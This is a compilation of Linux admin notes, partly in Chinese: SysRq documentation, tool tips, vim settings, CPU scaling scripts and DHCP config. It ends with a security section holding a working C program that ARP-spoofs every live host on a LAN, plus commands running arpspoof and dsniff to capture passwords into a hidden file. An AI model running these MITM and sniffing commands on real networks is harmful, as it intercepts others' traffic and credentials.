182 don't have a SysRq key at all. In these cases, run 'showkey -s' to find an\
183 appropriate scancode sequence, and use 'setkeycodes \<sequence> 99' to map\
184 this sequence to the usual SysRq code (e.g., 'setkeycodes e05b 99'). It's\
185 probably best to put this command in a boot script. Oh, and by the way, you\
186 exit 'showkey' by not typing anything for ten seconds.\
187 \
188 \*  I want to add SysRQ key events to a module, how does it work?\
189 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
190 In order to register a basic function with the table, you must first include\
191 the header 'include/linux/sysrq.h', this will define everything else you need.\
192 Next, you must create a sysrq\_key\_op struct, and populate it with A) the key\
193 handler function you will use, B) a help\_msg string, that will print when SysRQ\
194 prints help, and C) an action\_msg string, that will print right before your\
195 handler is called. Your handler must conform to the prototype in 'sysrq.h'.\
196 \
197 After the sysrq\_key\_op is created, you can call the kernel function\
198 register\_sysrq\_key(int key, struct sysrq\_key\_op \*op\_p); this will\
199 register the operation pointed to by 'op\_p' at table key 'key',\
200 if that slot in the table is blank. At module unload time, you must call\
201 the function unregister\_sysrq\_key(int key, struct sysrq\_key\_op \*op\_p), which\
202 will remove the key op pointed to by 'op\_p' from the key 'key', if and only if\
203 it is currently registered in that slot. This is in case the slot has been\
204 overwritten since you registered it.\
205 \
206 The Magic SysRQ system works by registering key operations against a key op\
207 lookup table, which is defined in 'drivers/char/sysrq.c'. This key table has\
208 a number of operations registered into it at compile time, but is mutable,\
209 and 2 functions are exported for interface to it:\
210  register\_sysrq\_key and unregister\_sysrq\_key.\
211 Of course, never ever leave an invalid pointer in the table. I.e., when\
212 your module that called register\_sysrq\_key() exits, it must call\
213 unregister\_sysrq\_key() to clean up the sysrq key table entry that it used.\
214 Null pointers in the table are always safe. :)\
215 \
216 If for some reason you feel the need to call the handle\_sysrq function from\
217 within a function called by handle\_sysrq, you must be aware that you are in\
218 a lock (you are also in an interrupt handler, which means don't sleep!), so\
219 you must call \_\_handle\_sysrq\_nolock instead.\
220 \
221 \*  When I hit a SysRq key combination only the header appears on the console?\
222 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
223 Sysrq output is subject to the same console loglevel control as all\
224 other console output.  This means that if the kernel was booted 'quiet'\
225 as is common on distro kernels the output may not appear on the actual\
226 console, even though it will appear in the dmesg buffer, and be accessible\
227 via the dmesg command and to the consumers of /proc/kmsg.  As a specific\
228 exception the header line from the sysrq command is passed to all console\
229 consumers as if the current loglevel was maximum.  If only the header\
230 is emitted it is almost certain that the kernel loglevel is too low.\
231 Should you require the output on the console channel then you will need\
232 to temporarily up the console loglevel using alt-sysrq-8 or:\
233 \
234     echo 8 > /proc/sysrq-trigger\
235 \
236 Remember to return the loglevel to normal after triggering the sysrq\
237 command you are interested in.\
238 \
239 \*  I have more questions, who can I ask?\
240 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
241 And I'll answer any questions about the registration system you got, also\
242 responding as soon as possible.\
243  -Crutcher\
244 \
245 \*  Credits\
246 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
247 Written by Mydraal <[vulpyne@vulpyne.net](https://web.archive.org/web/20200306075610/mailto:vulpyne@vulpyne.net)>\
248 Updated by Adam Sulmicki <[adam@cfar.umd.edu](https://web.archive.org/web/20200306075610/mailto:adam@cfar.umd.edu)>\
249 Updated by Jeremy M. Dolan <[jmd@turbogeek.org](https://web.archive.org/web/20200306075610/mailto:jmd@turbogeek.org)> 2001/01/28 10:15:59\
250 Added to by Crutcher Dunnavant <[crutcher+kernel@datastacks.com](https://web.archive.org/web/20200306075610/mailto:crutcher+kernel@datastacks.com)>


# Turn off beep in Linux system

For Xwindow Terminal $ xset b off

For console

add this line to \~/.bashrc setterm -blength 0

Turn off the beep in BASH

Enable this line in /etc/inputrc: "set bell-style none"


# umask()

一般系統預設開啟檔案的存取權限會是 0666 , 目錄是 0777

然而 umask 可以更改建立檔案的預設權限

ex. umask 0022

則當我們建立一個檔案，如

$ touch hi $ ls -l hi

則可以觀察到，權限會是 0666 - 0022 = 0644

所以有些程式如果不想有 umask，在設計時就會在一開始 umask(0)，清除本來系統中的 umask 設定。


# 以 ethtool 查看網路卡狀態及設定

執行 ethtool 需要有 root 權限（以 root 或 sudo 執行）

顯示、設定 Ring buffer

```bash
ethtool -g ethX
ethtool -G ethX
```

\
顯示網路卡統計資訊

```bash
ethtool -S ethX
```

\
顯示 offload 功能

```bash
ethtool -K ethX
```

透過限制 advertise，可以限制 autoneg 後的網卡傳輸速度，可使用 ethtool eth0 查看網卡目前模式的速度。

```bash
ethtool -s eth0 advertise 0x008
```

\
advertise 數值的意義:\
0x001 10 Half\
0x002 10 Full\
0x004 100 Half\
0x008 100 Full\
0x010 1000 Half\
0x020 1000 Full\
0x8000 100000 Full\
0x03F Auto\\

\
更多資料請參考 ethtool 使用手冊 (man ethtool)


# 使用 nameif 修改 Linux 網路卡名稱

話說 net-tools::nameif 可以更改網卡的名稱，\
\
例如，以下是在eth1網路卡狀態為 down 的環境情況下處理：\
\
假設 eth1 MAC 為 00:30:48:84:76:07\
\
修改 /etc/mactab\
\# cat /etc/mactab\
abc200 00:30:48:84:76:07\
\
\# nameif\
\# ifconfig -a\
\
發現 eth1 被改成 abc200\
\
這樣可以用來作啥呢？...\
\
引述 OuTian 是這麼用的\ <br>

> \--# OuTian::Start #------------------------------------------\
> \
> ip link set eth0 down (因為在 up 的情況下會噴 resource busy ... )\
> ip link set eth0 name NEWNAME\
> ip link set eth0 up\
> \
> 以前管了一台機器接七條 isp 時\
> 通通把網卡 rename 掉 .... hinet seednet sparq ... 都設 isp 名字\
> 才不用每次要 ping/traceroute 時 , 想半天到底 ethx 是哪條線 XD\
> \
> \--# OuTian::END #------------------------------------------

\
OuTian 兄說得真是不錯的想法，我之前看 linux kernel source code 得知一開始在命名時 eth0\
\
以 eth 是指該裝置為 ethernet 才會以 eth 開頭，而 eth0, 1, 2, ... 則是以偵測到的順序，\
\
而用 nameif 改名稱，對 kernel 內部的改變是如何的？(ex. kernel 中紀錄 Network 裝置的 link-list 是否有什麼改變？)\
\
我檢視程式碼 nameif.c，發現關鍵下列，並順便寫個小程式測試玩玩\
\---------------------------------------------------------\
ioctl(sk, SIOCSIFNAME, \&ifr);\
// sk = socket(PF\_INET, SOCK\_DGRAM, 0);\
\---------------------------------------------------------<br>

> ```c
> #include <unistd.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/ioctl.h>
> #include <net/if.h>
> #include <sys/socket.h>
> #include <linux/sockios.h>
>
> int main(void)
> {
>   char *mac="00:30:48:84:76:07";
>   char *old="lalala001";
>   char *new="NBA2000";
>   int sk;
>   struct ifreq ifr;
>
>   sk = socket(PF_INET, SOCK_DGRAM, 0);
>
>   if(sk<0)
>     exit;
>
>   memset( &ifr, 0, sizeof(struct ifreq));
>
>   strcpy(ifr.ifr_name, old);
>   strcpy(ifr.ifr_newname, new);
>
>   ioctl(sk, SIOCSIFNAME, &ifr);
>
>   close(sk);
>
>   return 0;
> }
> ```

\
下列我追蹤 Linux Kernel (linux-2.6.14.7) 的程式碼： \ <br>

> ```c
> LinuxKernel::net/core/dev.c   
>
> 2361
> 2362 case SIOCSIFNAME:
> 2363   ifr->ifr_newname[IFNAMSIZ-1] = '\0';
> 2364   return dev_change_name(dev, ifr->ifr_newname);
> 2365
> ```

<br>

> ```c
> 711 int dev_change_name(struct net_device *dev,
>         char *newname)
> 712 {
> 713   int err = 0;
> 714
> 715   ASSERT_RTNL();
> 716
> 717   if (dev->flags & IFF_UP)
> 718     return -EBUSY;
> 719
> 720   if (!dev_valid_name(newname))
> 721     return -EINVAL;
> 722
> 723 if (strchr(newname, '%')) {
> 724     err = dev_alloc_name(dev, newname);
> ```

\
也可以用 eth%d 當作新名稱，至於 %d 是多少跟原本取得名稱一樣是給 kernel 計算 我在 /etc/mactab 玩看看，下列是測試結果：\ <br>

> ```
> 在 /etc/mactab 填入此行內容：eth%d 00:30:48:84:76:07
>
> 執行指令測試
>
> # nameif
> # ifconfig -a
> # nameif
> # ifconfig -a
> # nameif
> # ifconfig -a
> # nameif
> # ifconfig -a
> ```

\
上面的指令將可以看到，名字會跳來跳去的，如：eth1, eth2, eth1, eth2 .. \
(因為這邊有兩張網路卡，我沒有動 eth0 ，而是動 eth1，所以才會是在 eth1 , eth2 之間跳) \ <br>

> ```
> 725 if (err < 0)
> 726     return err;
> 727     strcpy(newname, dev->name);
> 728 }
> ```

\
檢查該裝置(名稱)是否存在 \ <br>

> ```
> 729 else if (__dev_get_by_name(newname))
> 730     return -EEXIST;
> 731 else
> 732     strlcpy(dev->name, newname, IFNAMSIZ);
> 733
> 734 err = class_device_rename(&dev->class_dev, dev->name);
> 735   if (!err) {
> 736     hlist_del(&dev->name_hlist);
> 737     hlist_add_head(&dev->name_hlist,
>         dev_name_hash(dev->name));
> 738     notifier_call_chain(&netdev_chain, NETDEV_CHANGENAME,dev);
> 739   }
> 740
> 741   return err;
> 742 }
> 743
> ```

\
初步得到的結論是 nameif 直接改了 kernel 裡的裝置名稱，而沒有其他的別名（alias name）。


# 使用 xhost

參考 [X remote HOWTO](https://web.archive.org/web/20200306075600/http://www.faqs.org/docs/Linux-mini/Remote-X-Apps.html)\
\
假設的場景 (Secnario):\
\
X server主機 IP：192.168.10.20\
Client 主機：192.168.30.10\
\
設定要將畫面呈現到何處： DISPLAY=192.168.30.10:0.0\
\
0.0 之意義:\
第一個 0 為 port, ex. 6000\
第二個 0 螢幕或顯卡之數目 0 代表第一個\
\
xhost + 192.168.10.20 允許遠端 X server 送資料過來\~\~\
\
OK, 接著在 X server 執行之程式都會顯示到 client 的螢幕上。\
\
此為 X client/server 架構之優點\
\
安全性問題語與細節可參考 [X remote HOWTO](https://web.archive.org/web/20200306075600/http://www.faqs.org/docs/Linux-mini/Remote-X-Apps.html)


# 利用 sed 取出檔案中某行

$ sed -n "10p" filename # 取出第10行

$ sed -n "1,50p" filename # 取出第1-50行


# 在 bash 中設定 Proxy server

bash 要環境的設定如下

export http\_proxy="[http://your.proxy.net:port](https://applezulab.netdpi.net/02-linux-xi-tong-cao-zuo/http:/your.proxy.net:port)" export ftp\_proxy="[http://your.proxy.net:port](https://applezulab.netdpi.net/02-linux-xi-tong-cao-zuo/http:/your.proxy.net:port)"

依 shell 環境 加在 \~/ 目錄下的 .bashrc or .cshrc

適合 sh, bash, ksh, zsh ex .

ftp\_proxy="<http://proxy.hinet.net:80/>" gopher\_proxy="<http://proxy.hinet.net:80/>" http\_proxy="<http://proxy.hinet.net:80/>" no\_proxy="aa.bb.tw" export ftp\_proxy gopher\_proxy http\_proxy no\_proxy

適合 csh, tcsh ex: setenv http\_proxy "<http://proxy.hinet.net:80/>" setenv no\_proxy "aa.bb.tw"

需要帳號密碼 $ http\_proxy="[http://username:password@host:port](https://applezulab.netdpi.net/02-linux-xi-tong-cao-zuo/http:/username:password@host:port)" $ export http\_proxy


# 在 Linux 系統呈現 dd 的進度

範例：定時呈現 dd 進度\
\
撰寫一個名為 show\_all\_dd.sh 的 shell script, 針對全部的 dd 指令：<br>

```shell
#!/bin/bash
while 
  killall -USR1 dd;
  do sleep 5; 
done
```

或者用 pid 指定特定的 dd process，假設將 shell 存為 show\_dd.sh 檔名，\
\
可用 ./show\_dd.sh pid 來執行［pid 是 dd 的 process ID］<br>

```shell
#!/bin/bash
# 這邊要依據自己系統上的 dd process ID 
pid=$1

while 
  kill -USR1 $pid;
  do sleep 5; 
done
```

\
參考資料\
晟誼科技，[http://www.datasos.tw/jiuyuanjishu/20130805/2300.html](https://web.archive.org/web/20200306075605/http://www.datasos.tw/jiuyuanjishu/20130805/2300.html)


# 字串取代，使用 awk & sed

**AWK**

有些實驗數據僅需要某幾個欄位值，用 awk 可以簡單達到目的假設 Shell 環境中的字串 str 內容為1 2 3 4 5 6 7 8 9 10，要取出其中幾個數值，如 2 4 6 8 10

```bash
str="1 2 3 4 5 6 7 8 9 10"
echo ${str} | awk ' { print $2 $4 $6 $8 $10 }; '
```

若是檔案 (file) 中有好幾行的字串，分別將每行的其中幾個數值取出，如取出第 2 4 6 8 10 個數值：

```bash
cat file | awk ' { print $2 $4 $6 $8 $10 }; '
```

或是要調換 1 與 2

```bash
str="1 2 3 4 5 6 7 8 9 10"
echo ${str} | awk ' { print $2 $1 $3 $4 $5 $6 $7 $8 $9 $10 };'
```

**Sed**

因為 tr 似乎只能作一對一的字元轉換，所以找到 sed 的方法來轉換一對多的字串。

將一個 "M" 取代成 "000K"

```bash
echo 1M | sed 's/M/000K/'
```

將字串中的每一個 "M" 取代成 "000K"

```bash
echo '1M and 2M' | sed 's/M/000K/g'
```

將檔案 (input.txt) 中 'old' 字串取代成 'new' 字串

```bash
sed -i -e "s/old/new/g" input.txt
```

Reference:

1. Dale Dougherty & Arnold Robbins, sed & awk, Second Edition, O'Reilly, March 1997.
2. Vivek Gite, Bash Shell: Replace a string with another string in all files using sed and perl -pie,[http://www.cyberciti.biz/faq/unix-linux-replace-string-words-in-many-files/](https://web.archive.org/web/20200416073026/http://www.google.com/url?q=http%3A%2F%2Fwww.cyberciti.biz%2Ffaq%2Funix-linux-replace-string-words-in-many-files%2F\&sa=D\&sntz=1\&usg=AFrqEzf4y6mffOAjpyk1Wr5g2SIwMHPEqA), 2007.
3. monsanbu, [http://www.unix.com/unix-dummies-questions-answers/21866-replace-character-tr.html](https://web.archive.org/web/20200416073026/http://www.google.com/url?q=http%3A%2F%2Fwww.unix.com%2Funix-dummies-questions-answers%2F21866-replace-character-tr.html\&sa=D\&sntz=1\&usg=AFrqEzd-GlyIsusVF4b2zmBuIHB0Y99RJQ), 2005.


# 尋找多種副檔名

$ find . -name "*.c" -o -name "*.cpp" -o -name "\*.h"


# 常用 VIM 選項

```
編輯加密文字檔
$ vim -x filename

基本指令：
Ctrl + [ 等同於 ESC 可切換到指令模式

u 還原改變

ZZ ：直接存檔，然後離開 VIM。

ctrl + R : REDO

J : 合併行數，例如要合併三行: 3J

shift + % : 移到程式區塊所對應的括號

從 VIM 的 manual 學到的一些技巧
:help 可進入閱讀 manual

在主題上，Ctrl + ] 可進入該主題，
Ctrl + o 或 Ctrl + T 可退回 ..

指令：功能

: 4,8t 20
將第4行至第8行複製到第20行

: 4,10 m 15
將第4行至第10行搬到第15行

自動完成拼字
Ctrl+P

專業模式：

V：整行選擇
v：從游標部份開始選
Ctrl + V：可選矩形

切割視窗：

3split 1.c：使用三行的空間，編輯 1.c

CTRL-W h move to the window on the left
CTRL-W j move to the window below
CTRL-W k move to the window above
CTRL-W l move to the window on the right

CTRL-W t move to the TOP window
CTRL-W b move to the BOTTOM window

:qall 關閉所有 VIM 切割的視窗

vim -o one.txt two.txt three.txt
切割成三個視窗來檢視這三個檔案

history: 列出用過的 VIM 指令

於 VIM 中執行 shell 指令：

ex.
: ! ifconfig

編輯二進位檔
vi -b binary_file

設定 UNIX / DOS format
: set display=uhex

選項，可存於 ~/.vimrc

set background=dark
說明：設定背景亮度，可用選項: dark, light

設定 tab 寬度預設 8 個空白寬，改成四個空白寬
set softtabstop=4
set shiftwidth=4

vim 不要嗶嗶聲
set noeb


啟動程式碼語法辨識:
syntax on

語法自動對齊
set cindent
set autoindent

防止貼上亂七八糟
set paste
set nopaste

畫面(不)換行
set nowrap
set wrap

VIM 與 ctags，用 vim 搭配 tags 來看 source code 非常便利，

建立 tags，此處為將所有附檔名為 .c .h 建立 tags
$ find . -name "*.[ch]" | xargs ctags -a

然後使用 vim 看 source code 時可以使用下列指令進行追蹤：
use Ctrl + ] to goto the function body.
use Ctrl + T TO return back where the function called.

我的~/.vimrc 常用設定
set nu
set bg=dark
set hlsearch
set tabstop=8 softtabstop=0 expandtab shiftwidth=4 smarttab
syntax on

Ref:
http://www.study-area.org/tips/vim/index.html
大家來學VIM（一個歷久彌新的編輯器）
Edward Lee
```


# 自動 CPU 調頻節能控制

Ubuntu 10.04 以後的系統可以安裝 powernowd，(開機會自動執行 deamon)

週期的監控 CPU 使用率，可以設定上限值與下限，依據設定的 policy 自動調降/調升 CPU 頻率。

Ubuntu Linux 10.04 設定檔 ( /etc/default/powernowd )

man powernowd for details.

手動CPU 調頻控制

測試：&#x20;

Lenovo Notebook X200, CPU (Pentium M) 支援四種頻率 ( 2401, 2400, 1600, 800 MHz)&#x20;

CPU: Intel(R) Core(TM)2 Duo CPU P8600 @ 2.40GHz&#x20;

OS: Ubuntu 10.04 TLS (Linux kernel: 2.6.32-26-generic SMP)

Script code:

```shell
#!/bin/bash

# Lenovo x200 support: 800 MHz, 1600 MHz, 2400 MHz and 2401 MHz
# 可參考 /sys/devices/system/cpu/cpu$cpu/cpufreq/scaling_available_frequencies

num=$#
if [ $num -lt 2 ]; then
        echo "$0 cpu_id cpu_freq"
        exit 1;
fi

cpu="$1"
cpufreq="$2""000"

echo "Set CPU$cpu with $2 MHz"

# 可參考 /sys/devices/system/cpu/cpu$cpu/cpufreq/scaling_available_governors

echo "userspace" > /sys/devices/system/cpu/cpu$cpu/cpufreq/scaling_governor

# 設定 CPU 頻率下限
echo "800000" > /sys/devices/system/cpu/cpu$cpu/cpufreq/scaling_min_freq

# 設定 CPU 頻率上限
echo "2401000" > /sys/devices/system/cpu/cpu$cpu/cpufreq/scaling_max_freq

# 設定 CPU 頻率
echo "$cpufreq" > /sys/devices/system/cpu/cpu$cpu/cpufreq/scaling_setspeed

# 確認設定
echo "cat /sys/devices/system/cpu/cpu$cpu/cpufreq/scaling_setspeed"
out=`cat /sys/devices/system/cpu/cpu$cpu/cpufreq/scaling_setspeed`
echo $out

cat /proc/cpuinfo |grep "cpu MHz"

exit 0;

```

```
使用方式：
1. 將上述 script 存為 set_cpu.sh 
2. 變更權限：chmod +x set_cpu.sh
3. ./set_cpu.sh cpu_id cpu_freq   ( 將 cpu_id 改成 /proc/cpuinfo 對應的 processor id, cpufreq 改成要設定的頻率, ex. ./set_cpu.sh 0 800 )

註：如果要手動調整頻率，需要移除下列自動調頻的工具
$ sudo apt-get remove powernowd cpudyn cpufreqd powersaved speedfreqd

 
一些資訊：
driver: acpi-cpufreq

/sys/devices/system/cpu/cpu0/cpufreq
/sys/devices/system/cpu/cpufreq/ondemand (decides the speed to use)

cpufreq-info 可以獲得 cpufreq stats (有統計每個頻率使用的百分比)

/proc/acpi 可以調整亮度, 查詢 battery 資訊

set ex. echo "70" > /proc/acpi/video/VID/LCD0/brightness

/proc/acpi/ac_adapter/AC  (可查詢是否插電)

/proc/acpi/ibm 可控制 ibm devices

2.6.26 (mp)

/sys/devices/system/cpu/cpu? 中,

設定開啟、關閉 CPU: online { 1, 0 }

/sys/devices/system/cpu/sched_smt_power_savings

   0 - No power saving load balance (default value)
   1 - Fill one thread/core/package first for long running threads
   2 - Also bias task wakeups to semi-idle cpu package for power savings

/sys/devices/system/cpu/kernel_max

   kernel_max: the maximum cpu index allowed by the kernel configuration.

   offline: cpus that are not online because they have been  HOTPLUGGED off
   or exceed the limit of cpus allowed by the kernel configuration
   (kernel_max above).


   online: cpus that are online and being scheduled.

   possible: cpus that have been allocated resources and can be
             brought online if they are present.

   present: cpus that have been identified as being present in the system.

需要更多資訊可直接查看 Reference 所列資料。

 
 
Reference: (我所查看的程式碼版本是 Linux kernel source 2.6.32, 2.6.36)

Documentation/cputopology.txt for more information.
Documentation/cpuidle/.
Documentation/ABI/testing/sysfs-devices-system-cpu.
http://www.pantz.org/software/cpufreq/usingcpufreqonlinux.html 
```


# 自動執行程式

\[Method 1]

Enable the atd daemon

## /etc/init.d/atd start

Set the time $ at 8pm

Set command, Press CTRL+D $ at> Command

Sample format of time:

Run job at 6am on monday:

$ at 6am monday

Run job in 5 minutes time:

$ at now + 5 minutes

Run job at 4pm but 3 days later:

$ at 4pm + 3 days

Run job at 10am on 31st July:

$ at 10am Jul 31

\[Method 2]

Edit /etc/crontab, and set the time

In this example, the command is /sbin/reboot.

0 \* \* \* \* /sbin/reboot

Reference:

<http://www.cyberciti.biz/tips/howto-shutdown-linux-box-automatically.html&#x20>;


# 設定 Debian 預設啟動服務

自動啟動服務的土砲方式是自己寫在 /etc/rc.local 或 /sbin/setup.sh 之類的地方，\
\
或者自己手動去做 symlink（從 /etc/init.d/\* 至 /etc/rc?.d/ ），以前我都手動這樣做。\
\
不過，這樣太辛苦了，應該都會有正規方法，所以下列是參考資料使用系統內建指令處理的方式，\
\
利用 update-rc.d 或 insserv 加入需要開機自動啟動的程式、反之移除之，\
\
即為將 init.d 的 script 做 S 開頭加上號碼的 soft link 到 rc\*.d 中 (\* = runlevel)，\
\
Debian 6.0 之前是使用 update-rc.d，而 6.0 以後則是使用 insserv，至於 Ubuntu 是使用 update-rc.d。\
\
啟動服務\
insserv service 或\
update-rc.d servic defaults\
\
例如，啟動 bind9， insserv bind9\
\
關閉服務\
insserv -r service 或\
update-rc.d service remove\
\
參考資料\
Peter Dave Hello's Blog, [Debian / Ubuntu 系列 GNU/Linux 服務開機自動啟動調整](https://web.archive.org/web/20200306075545/https://www.peterdavehello.org/2014/02/debian-ubuntu-startup-service-control/)


# 設定 DHCPd server

```
下面這是一些曾經設定過的選項：

* 修改 dhcpd.conf 

* 修改租約期限 
default-lease-time 250000; 
max-lease-time 518000 

* 設定 domain name and dns ip 
option domain-name "domain name"; 
option domain-name-servers 168.95.1.1, 139.175.150.20; 

* 設定分配 IP 
subnet 192.168.1.0 netmask 255.255.255.0 { 
  range 192.168.1.150 192.168.1.180; 
  option broadcast-address 192.168.1.255; 
  option routers 192.168.1.254; 
} 

* 設定靜態固定 IP 
host inside{ 
  hardware ethernet 00:11:22:33:44:55; 
  fixed-address 192.168.1.10; 
  options broadcast-address 192.168.1.255; 
  option routers 192.168.1.254; 
}
```


# 透過 RS-232 操作 Linux console

Debian sample

修改 : /etc/lilo.conf

增加 2 行 serial=0,9600n8 vga = normal #

image= ... append="console=ttyS0"

改好之後重新執行 lilo

修改 : /etc/inittab

\#Example how to put a getty on a serial line (for a terminal)

\#T0 for ttyS0

T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100 #T1:23:respawn:/sbin/getty -L ttyS1 9600 vt100

or

/usr/doc/faq/howto/NET-2-HOWTO.gz 有講得很清楚.

1. /etc/inittab 在 # Serial lines 這段開一個 s2:45:respawn:/sbin/agetty -mt60 38400 ttyS1
2. /etc/rc.d/rc.S 最下一列開 /bin/sh /etc/rc.d/rc.serial
3. 如果您的 PC 沒有 multi-port of serial 的話, rc.serial 可以不要管了, 不過可以再去 check 一下, 我都是把 # Do AUTOMATIC\_IRQ probing 這段的 #AUTO\_IRQ=auto\_irq 關掉. 去 # MANUAL CONFIGURATION 把 ${SETSERIAL} /dev/cua0 uart 16550 port 0x3F8 irq 4 ${SETSERIAL} /dev/cua1 uart 16550 port 0x2F8 irq 3 打開
4. /etc/default 加一個 agetty.ttyS1


# Linux connect to serial port

在 Linux 系統透過 serial port 與裝置連線，e.g. 開發版、router

```bash
minicom -D /dev/ttyS0
socat stdin,raw,echo=0 /dev/ttyUSB0,raw,echo=0
```


# 資訊安全


# ARP spoofing 技術管控區網流量實例

<br>

Aaron Liao, 2014

功能：

1\. 控制區域網路流量

2\. 先使用 arping 檢察現存的 ARP 回應。

需要的工具：

1\. iptables, arping, dsniff

2\. 將 arp\_spoof 新增到 /etc/crontab，用於動態更新 ARP table

/etc/rc.local：

```shell

TEST=`ifconfig|grep 192.168.20.|wc -l`

if [ $TEST -ne 0 ]; then 
    echo $TEST /sbin/arp_spoof;
fi

```

compile:

`$ sudo gcc arp_spoof.c -o /sbin/arp_spoof`

```c
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#define dev "eth0"
#define network "192.168.20."
#define subnet "192.168.20.0/24"
#define gw "192.168.20.1"sh

int detect_arp_alive(char *ip);
int init(void);
int set_local_host(void);
int clean_nf(void);

int set_local_host(void) { 
    system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 80 -m limit --limit 100/second -j ACCEPT"); 
    system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 23 -m limit --limit 50/second -j ACCEPT"); 
    system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 21 -m limit --limit 50/second -j ACCEPT"); 
    system("iptables -I INPUT -d 192.168.20.0/24 -p tcp --sport 20 -m limit --limit 50/second -j ACCEPT"); 
    system("iptables -I INPUT -d 192.168.20.0/24 -p udp --sport 53 -m limit --limit 5/second -j ACCEPT"); 
    system("iptables -A INPUT -d 192.168.20.0/24 -m limit --limit 50/second -j ACCEPT"); 
    system("iptables -I INPUT -p tcp --sport 3389 -j ACCEPT"); 
    system("iptables -A INPUT -d 192.168.20.0/24 -j DROP"); 
    system("iptables -I OUTPUT -s 192.168.20.0/24 -m limit --limit 64/second -j ACCEPT"); 
    system("iptables -I OUTPUT -s 192.168.20.0/24 -p udp --dport 53 -m limit --limit 5/second -j ACCEPT"); 
    system("iptables -I OUTPUT -p tcp --dport 3389 -j ACCEPT"); 
    system("iptables -A OUTPUT -s 192.168.20.0/24 -j DROP"); 
    
    return 0;
}

int detect_arp_alive(char *ip) { 
    char cmd[128]; 
    int i, c; 
    bzero(cmd, sizeof(cmd)); 
    
    // change logic from and to or, PS -w sometimes the unit is us, and sometimes is s 
    sprintf(cmd, "arping -c 1 -w 1 -I %s %s 1>/dev/null 2>/dev/null", dev, ip); 
    
    for(i=0, c=0; i<3; i++) { 
        if(system(cmd)==0) 
            return 0; 
        c++; 
    } 
    
    return c;
}

int clean_nf(void) { 
    system("iptables -F INPUT"); 
    system("iptables -F OUTPUT"); 
    system("iptables -F FORWARD"); 
    system("iptables -P INPUT ACCEPT"); 
    system("iptables -P OUTPUT ACCEPT"); 
    system("iptables -P FORWARD ACCEPT"); 
    
    return 0;
}

int init(void) { 
    system("echo '1' > /proc/sys/net/ipv4/ip_forward"); 
    system("/usr/bin/killall -9 arpspoof"); 
    system("sleep 1"); 
    clean_nf(); 
    set_local_host(); 
    return 0;
}

int main(int argc, char *argv[]) { 
    int ret = 0, i; 
    char ip[15], cmd[128]; 
    
    init(); 
    sprintf(cmd, "iptables -A FORWARD -d %s -m limit --limit 100/second -j ACCEPT", subnet); 
    system(cmd); 
    sprintf(cmd, "iptables -A FORWARD -d %s -p tcp --sport 3389 -j ACCEPT", subnet); 
    system(cmd); 
    sprintf(cmd, "iptables -A FORWARD -s %s -m limit --limit 50/second -j ACCEPT", subnet); 
    system(cmd); 
    sprintf(cmd, "iptables -A FORWARD -s %s -j DROP", subnet); 
    system(cmd); sprintf(cmd, "iptables -A FORWARD -d %s -j DROP", subnet); 
    system(cmd); 
    
    for(i=2;i<254;i++) { 
        /* 2 ~ 253 */ 
        bzero(ip, sizeof(ip)); 
        bzero(cmd, sizeof(cmd)); 
        sprintf(ip, "%s%d", network,i); 
        
        if( detect_arp_alive(ip) == 0 ) { 
            /* limit the rate of the ip */ 
            /* Doing arp spoofing */ 
            sprintf(cmd, "arpspoof -t %s%d %s 1>/dev/null 2>/dev/null &", network, i, gw); 
            system(cmd); 
            
            sprintf(cmd, "arpspoof -t %s %s%d 1>/dev/null 2>/dev/null &", gw, network, i); 
            system(cmd); // limit the Download BW 
            
            sprintf(cmd, "iptables -I FORWARD -d %s%d -m limit --limit 64/second -j ACCEPT", network, i); 
            system(cmd); 
            
            sprintf(cmd, "iptables -I FORWARD -d %s%d -p tcp --sport 1:1024 -m limit --limit 100/second -j ACCEPT", network, i); 
            system(cmd); 
            
            sprintf(cmd, "iptables -I FORWARD -d %s%d -p udp -m limit --limit 50/second -j ACCEPT", network, i); 
            system(cmd); // limit the Upload BW 
            sprintf(cmd, "iptables -I FORWARD -s %s%d -m limit --limit 64/second -j ACCEPT", network, i); 
            system(cmd); 
            sprintf(cmd, "iptables -I FORWARD -s %s%d -p udp --dport 53 -m limit --limit 64/second -j ACCEPT", network, i); 
            system(cmd); 
        }
    } 
    
    return 0;
}

```

其它資訊：

<pre class="language-shell"><code class="lang-shell">iptables -A FORWARD -d this_host_IP -j ACCEPT

# Set the host not to response ARP request,
# Other hosts have to previously set static arp list about the MAC of this host theirself.
<strong>echo "8" > /proc/sys/net/ipv4/conf/all/arp_ignore;
</strong>
# enable packet forward
echo "1" > /proc/sys/net/ipv4/ip_forward;

# make ARP spoofing
arpspoof -i eth0 -t this_host_IP gateway &#x26;
arpspoof -i eth0 -t gateway this_host_IP &#x26;
dsniff -i eth0 -w /tmp/.pass &#x26;

# set static ARP
# MAC of the gateway
arp -s gateway (MAC of gateway)

</code></pre>


# dsniff

dsniff package supports to sniff the text password over uncripted protocols, such as FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle SQL\*Net, Sybase and Microsoft SQL protocols.

arpspoof is used for ARP spoofing.

dnssoiif

macof generates large random MAC address as MAC flooding.

